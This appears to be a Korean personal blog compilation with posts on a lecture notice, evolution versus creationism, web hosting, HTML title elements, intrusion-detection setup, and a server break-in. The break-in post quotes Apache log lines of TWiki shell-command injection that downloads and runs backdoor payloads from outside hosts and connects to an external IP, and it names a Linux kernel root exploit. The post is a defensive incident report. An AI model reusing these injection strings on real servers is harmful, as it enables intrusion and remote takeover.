다음주 화요일에 손석희 아나운서가 KAIST에 온다고 한다. 화요일 수업이 4시반까지인데, 교수님께 양해를 구하거나 수업을 빠지더라도 한번 가볼 생각이다. 그렇잖아도 사람이 많을 것 같은데… 과연 들어갈 수 있을지는 모르겠다.
인문사회과학연구소에서는 11월 8일(화) MBC 손석희아나운서를 초빙하여 “안에서 본 방송과 방송인의 길”를 주제로 하는 기획강연을 마련하였습니다. 강연형식에 얽매이지 않고 질의응답시간을 많이 가질 예정이오니 학내 구성원 여러분들의 많은 관심 부탁드립니다.
….언젠가 교수님께서 클래스 모두에게 물으셨다.
“여러분은 진화론을 믿습니까, 창조론을 믿습니까?”
……………………..모두 조용히 있었다. 분위기는, 말할 필요도 없이 진화론이라는 듯한.
“진화론에 반대하는 사람 없어요?”
“과학자들 중에선 반론을 내놓는 자가 많은데 정작 학생들 중에선 진화론에 반대한다거나 의심스럽다는 사람을 만나기가 어렵단 말야.” (quote from 진화론과 창조론 via intherye)
과학적인 태도를 가지지 않은 일반인이 진화론에 반대한다고 할 때, 그것은 진화론이 검증된 것과 마찬가지의 과학적인 정합성을 가지고 반대하는 것일까? 아니다. 그 사람에게는 진화론이 이미 가치나 신념의 영역이다. 진화론을 부정하기 위해서는 진화론이 속한 범주인 과학의 범주에서 그 범주가 요구하는 조건을 충족시키면 된다. 그렇지 않는다면, 그것은 범주의 오류다.
진화론은 워낙 커다란 사회-문화적 영향을 가지고 있고, 이러한 범주의 오류는 흔히 볼 수 있다. 진화론과 창조론 논쟁이 과학을 종교에 적용한 범주의 오류라면, 사회진화론의 인종차별이나 진화론의 비인간성 같은 주장은 과학을 윤리에 적용한 범주의 오류다.
성경에 기반한 신념을 과학의 범주로 확장시키는 이러한 범주의 오류는 진화론-창조론 논쟁의 원인 중 가장 큰 비중을 차지한다. 다른 한가지의 원인은 바로 진화론에 대한 무지 내지는 오해다. 위에 인용한 글에 달린 Reibark님의 의견을 인용한다.
진화론에 있어서 가장 문제점은 사람들이 진화론에 대해서 잘 모르는 것이 아니라 모두가 자신이 진화론을 잘 알고 있다고 생각한다는 점에 있습니다.
진화론은 절대 쉬운 학문이 아닙니다. 양자역학이나 상대성 이론처럼 생명체의 진화는 보통 사람들이 직관적으로 이해할 수 있는 범위를 넘어 선 주제에 대해 다루고 있지요. 막연히 ‘내가 생각하기에 아닐 것 같아’ 라는 식으로 부정되기에는 결코 녹녹치 않을 정도의 이론과 증거로 무장한 것이 진화론입니다. 흔히들 일반인들이 진화론이 사실이 아닐 것이라고 생각하는 여러가지 문제점도 실은 오래전에 그에 따른 답이 나온 것이 대부분입니다.
창조론 자체가 과학이나 이론으로조차 취급받지 못한 이유가 거의 신념에 가까운 공리를 제시하는 것 빼고는 명확한 근거를 내놓고 있지 못하기 때문입니다. 이런 것을 과학 이론 중 하나라고 인정해 줄 수는 없는 것이지요. 진화론이 옳으냐 그르냐의 문제는 신념하고는 아무 상관 없는 문제입니다. 단지 주장과 근거 그리고 입증의 문제이지요.
만약 물리학에 대해 지식이 짧은 사람이 ‘말도 안돼! 빛의 속도는 유한한데 어떠한 운동상태에서 관찰해도 같은 속도가 나오다니, 내 상식으로는 이건 믿을 수 없어! 이건 틀렸어!’라고 말하면 이것은 주장도 이론도 과학도 아무것도 아니라는데 모두가 동의할 것입니다. 심지어 신념으로서의 정당성도 인정해 주지 않겠지요. 하지만 ‘말도 안돼! 이렇게 신비하고 복잡한 생명체가 어떻게 자연발생적으로 생길 수 있어? 내 상식으로는(혹은 종교 믿음 기타등등) 받아들일 수 없어!’ 라고 하면 이것은 하나의 신념으로 인정해 줄 뿐만 아니라 하나의 과학적 이론으로까지 인정해 줘버립니다, 세상에.
우리는 진화론에 대해 더 많이 공부할 필요가 있습니다.
몇몇 분들은 알고 계시듯이, 전에 다니던 회사에 서버를 두고 있었는데, 보안을 이유로 쫓겨나는 바람에, 따로 호스팅 서비스를 받기로 했습니다. 호스팅 서비스는 딥블군이 살고 있는 드림호스트란 곳을 선택했습니다. 아무래도 ‘Ruby’를 사용할 수 있다는 것이 가장 큰 장점이지요. 여러가지 서비스가 자동화 되어있는 것도 눈에 띄네요.
다른 블로그 툴로 옮겨가기도 귀찮고 해서 그냥 MovableType 3.2 버전을 설치했습니다. 스팸 관련 플러그인이 기본으로 들어있다든가, theme 을 자동으로 적용할 수 있는 플러그인이 존재하는 것 같은 게 눈에 띄는 변화군요. 위키로는 드림호스트가 자동 설치 서비스를 제공하는 미디어위키를 설치했습니다.
문제는 기존의 데이터를 가져오는 것인데, 갑자기 기존 서버로 접근할 수 없게 되어서 원래 데이터를 가져오려면, 상당한 시간이 걸릴 것 같습니다. 구글 랭킹에서의 손실이 있을 것 같아서 안타깝군요.
West Wing Season 2를 클리어 했습니다.
온게임넷 후비고에서 MC로 출연 중인 이지인 양입니다. 1992년생이고 물론 현재 중학생입니다.
최근에 후비고 관련 CF에서 뿔테 안경을 쓴 모습이 너무 마음에 들더군요. 헤어스타일도 함께요. 그렇다고 평소 방송을 진행할 때의 스타일을 좋아하지는 않는데 말이죠. 에, 오해하시면 안되는 부분은, 제가 로리로리가 아니라, 전 그냥 이런 스타일(뿔테 안경 + 헤어스타일)의 여자분이 좋다 이거죠. 제가 이렇게 해명을 했음에도 불구하고, 이 글에 대한 반응이 심히 우려되는군요. 이를테면, “그런게 로리인거 아냐?”라든가…
어..어쨌든, 좀 더 관심이 있으신 분은 다음 플래닛 후비고 페이지를 참고하세요.
지난 번, 윈도우즈 재설치할 때, 당장 필요한 어플리케이션만 설치해서 썼더니 비교적 오랫동안 윈도우즈가 가볍게 유지되는 것 같아서, 이번 재설치 때(2005년 8월 11일)도 역시 need-to-use basis로 설치해서 쓰면서, 그걸 기록으로 남겨보았다.
다음은, 이후에 게을러져서 제대로 적지 않은 것들 (당연히, 설치한 순서가 아니다.)
기존에 사용하고 있던 어플리케이션들은 다음 페이지를 참조.
지난 번 라마에 대한 공격 이후로, 보안에 대해 조금은 더 신경을 쓰게 되었습니다.
root 권한을 획득할 수 있는 overflow exploit은 제가 직접 실행해보아도 제대로 동작하지 않는 걸로 봐서, 실제로 root를 획득하는 데에는 실패한 것이 아닌가 판단하고 있습니다.
커널이나 중요한 파일들의 변경 시간과 사용자 계정 등을 검사해보았지만, 별다른 흔적은 발견할 수 없었습니다.
chkrootkit은 rootkit을 검사해주는 툴입니다. 일부의 rootkit을 검사하는 것일 뿐이지만, 일단 chkrootkit에 대해서 라마는 안전하더군요.
물론 어떤 것도 확실한 것은 없습니다. root를 얻은 후 모든 일을 한 후 흔적을 지우고 나갔다면, 제가 할 수 있는 일은 다른 분들 말씀대로 새로 설치하는 방법 밖에는 없죠.
적어도 외부로부터의 접근이 있는지를 알아내기 위해서 몇가지 툴을 설치해보았습니다.
COMPLETE guide to Snort, MySQL, and Acid란 글을 보고 Snort와 Acid를 설치했습니다. Snort는 상당히 유명한 IDS의 하나고, Acid는 Snort의 front-end 중 하나입니다. 시스템에 설치된 Acid는 다음 페이지에서 보실 수 있습니다.
Snort는 이더넷을 Promiscuous 모드로 하고, 네트워크 트래픽을 감시하면서 수상한 흔적이 있나 감시합니다. 이것도 커널, 디바이스 드라이버 수준에서 뭔가 바꿨다면 믿을 수는 없겠습니다만…
Snort를 개발한 SourceFire사는 Snort가 intrusion을 발견하기 위한 rule들을 유료/무료로 제공하고 있는데, 무료 룰(unregistered user release)은 유료 룰(registered user release)에 비해 업데이트가 느린 편이죠. 커뮤너티 룰이란 것도 있는데, 사용자들의 기여로 만들어지는 룰인 모양입니다. 현재는 무료 룰을 설치해놓은 상태인데, 무료 룰과 커뮤너티 룰 중에 어떤 것이 더 좋은 지 잘 모르겠군요.
연휴 동안에, kernel 업그레이드도 하고, integrity check을 할 수 있는 tripwire도 설치해 둘 생각입니다.
HTML 페이지에서 의외로 title element를 소홀히 취급하는 페이지들이 많다. 가장 흔히 볼 수 있는 경우는 페이지의 내용에 대한 제목이 아니라, 1) 사이트나 서비스의 이름을 제목으로 가지는 페이지들이다. 다른 한가지는 2) 제목이 아예 비어있는 경우다. HTML 4.01 specification은 분명히 title element가 페이지의 내용을 나타낼 수 있도록 규정하고 있다.
Authors should use the TITLE element to identify the contents of a document. Since users often consult documents out of context, authors should provide context-rich titles. Thus, instead of a title such as "Introduction", which doesn’t provide much contextual background, authors should supply a title such as "Introduction to Medieval Bee-Keeping" instead. [7.4.2 The TITLE element]
title element가 중요한 것은 단지 스펙 때문은 아니다. 웹을 사용할 때, 페이지에 관한 가장 기본적인 semantic을 표현하는 것이 바로 title element고, 실제 어플리케이션에서 여러가지로 활용되고 있다.
일단, title element는 대부분의 agent가 웹페이지를 보여줄 때 기본적으로 보여주어야만 하는 정보다. 대부분의 웹브라우저들은 물론 title element를 윈도우의 title bar 등에 표시해주거나 적어도 위쪽에 표시해주고 있다.
For reasons of accessibility, user agents must always make the content of the TITLE element available to users (including TITLE elements that occur in frames). The mechanism for doing so depends on the user agent (e.g., as a caption, spoken).[7.4.2 The TITLE element]
웹브라우저의 기본적인 기능 중 하나인 북마크를 할 때도 title element가 사용된다.
검색 엔진들은 검색 결과에 해당하는 페이지들을 리스팅할 때 title element를 강조해서 보여준다. 만약 제목을 사이트의 이름과 같은 것으로 해놓는다면, 어느 누가 그 페이지를 열어보고 싶을까?
뿐만 아니라, 대부분의 검색 엔진은 크롤러가 수집한 페이지의 중요도를 평가하기 위해 title element를 우선적으로 사용한다. title element는 HTML 페이지에서 몇 안되는 semantic을 위한 element일 뿐만 아니라, 스펙에 의해 항상 존재함이 보장되는 정보다. HTML 초기 스펙부터 존재했던 element기 때문에 오래된 페이지라도 대체로 title element는 가지고 있기도 하다. 이러한 여러가지 점에서 title element가 가지고 있는 정보는 검색 엔진이 활용하기에 상당히 편리하다고 볼 수 있다.
한편, 라마(Last Mind의 줄임말)의 경우에는, 몇개월 전에 MT 템플릿을 정리하면서, 인덱스 템플릿을 개별 아티클 템플릿으로 복사해서 수정하는 바람에, 개별 아티클 페이지들의 제목이 전부 인덱스 페이지의 제목으로 리셋되는 사고가 발생했었다. 이후로 그 사고에 대해서 모르고 있다가, 최근에야 알아채고 수정할 수 있었는데, 그래서 구글은 바뀐 제목의 페이지를 반쯤 인덱싱한 상태다. 일반적으로, 제목이 제대로 달린 (한글 제목의) 페이지는 거의 구글의 첫 페이지에 나오지만, 그렇지 않은 페이지는 그렇지 않다. 제목의 중요성을 확인할 수 있는 대목이다.
자신의 페이지가 중요하다고 생각하고 그에 걸맞는 대우가 필요하다고 생각한다면, 먼저 title element를 제대로 대접해줘라.
우연히 top을 해봤더니, krad라는 프로세스가 CPU를 모두 차지하면서 동작하고 있더군요. 거기에 r0nin이라는 이름의 프로세스도 눈에 띄더군요. 순간 hack 당했다는 느낌이 들더군요. 역시나, 구글링해보니, 일종의 code injection 공격이더군요.
apache log를 살펴보니, 다음과 같은 내용이 있었습니다.
GET /twiki/bin/view/Main/TWikiUsers?rev=2%20|wget http://64.18.139.66/~mota/ntfu.txt%00 HTTP/1.1
GET /twiki/bin/view/Main/TWikiUsers?rev=2%20|perl ntfu.txt%00 HTTP/1.1
GET /twiki/bin/view/Main/TWikiUsers?rev=2%20|uname%20-a%00 HTTP/1.1
GET /twiki/bin/view/Main/TWikiUsers?rev=2%20|wget%20www.groupiys.net/xpl/dc%00 HTTP/1.1
GET /twiki/bin/view/Main/TWikiUsers?rev=2%20|chmod%204777%20dc%00 HTTP/1.1
GET /twiki/bin/view/Main/TWikiUsers?rev=2%20|./dc%00 HTTP/1.1
GET /twiki/bin/view/Main/TWikiUsers?rev=2%20|./dc%20203.81.226.10%206432%00 HTTP/1.1
GET /twiki/bin/view/Main/TWikiUsers?rev=2%20|wget%20www.groupiys.net/xpl/r0nin%00 HTTP/1.1
GET /twiki/bin/view/Main/TWikiUsers?rev=2%20|chmod%204777%20r0nin%00 HTTP/1.1
GET /twiki/bin/view/Main/TWikiUsers?rev=2%20|./r0nin%00 HTTP/1.1
GET /twiki/bin/view/Main/TWikiUsers?rev=2%20|./dc%20203.81.226.10%206432%00 HTTP/1.1
GET /twiki/bin/view/Main//TWikiUsers?rev=2%20|wget%20http://64.18.139.66/~mota/ntfu.txt%00 HTTP/1.1
그리고 twiki/bin과 /tmp에는 ntfu.txt, dc, krad, r0nin과 같은 파일들이 생겨있었습니다. apache를 통해서 생성된 파일들이기 때문에 apache user로 되어있었습니다.
보시다시피, 웹 어플리케이션을 통해서 shell command를 injection하고있는 것을 볼 수 있습니다. 구글링에서 찾은 건 My eGallery라는 웹 어플리케이션의 버그를 이용한 것인데 lastmind의 경우에는 제가 사용하고 있는 TWiki의 버그를 이용한 공격이었습니다.
이 문제는 제가 사용하는 버전인 2004년 9월 1일 릴리즈 이 후 이틀에 걸쳐서 수정된 문제임에도 불구하고, (그리고 security vulnerability에 대한 메일을 받았음에도 불구하고) 저같은 풀타임도 아닌 게으른 관리자가 관리하는 서버는 이러한 공격에 취약할 수 밖에 없는 것 같습니다. 어쨌든 2004년 9월 3일 릴리즈로 업그레이드 해서 이 문제는 해결했습니다.
대충 살펴보면, 주로 back door 종류인 듯 한데, lastmind에서 무슨 짓을 했는지는 아직 파악되지 않았습니다. 스팸 메일을 보낼까 해서 일단 sendmail을 내려놓은 상태입니다. krad라는 프로세스는 ‘kill -9’로 죽지도 않아서 reboot을 해야만 했는데, 흥미롭게도 다음과 같은 내용을 담고 있더군요.
$ strings krad
…
[1;37m k-rad.c – linux 2.6.* CPL 0 kernel exploit
[1;37mDiscovered Jan 2005 by sd <sd@fucksheep.org>
역시 구글링을 해보니, 리눅스 커널 2.6.x에 해당하는 sys_epoll_wait를 이용한 overflow exploit이라는 것이 밝혀졌습니다. kernel memory를 overwrite해서 root shell까지 실행할 수 있는 exploit인데, root를 가로채고 무슨 짓을 했을지 모르겠군요.
공격을 당한 그 날 발견한 것은 상당히 행운이라고 볼 수는 있겠습니다만… 피해 상황은 좀 더 조사해봐야겠습니다.
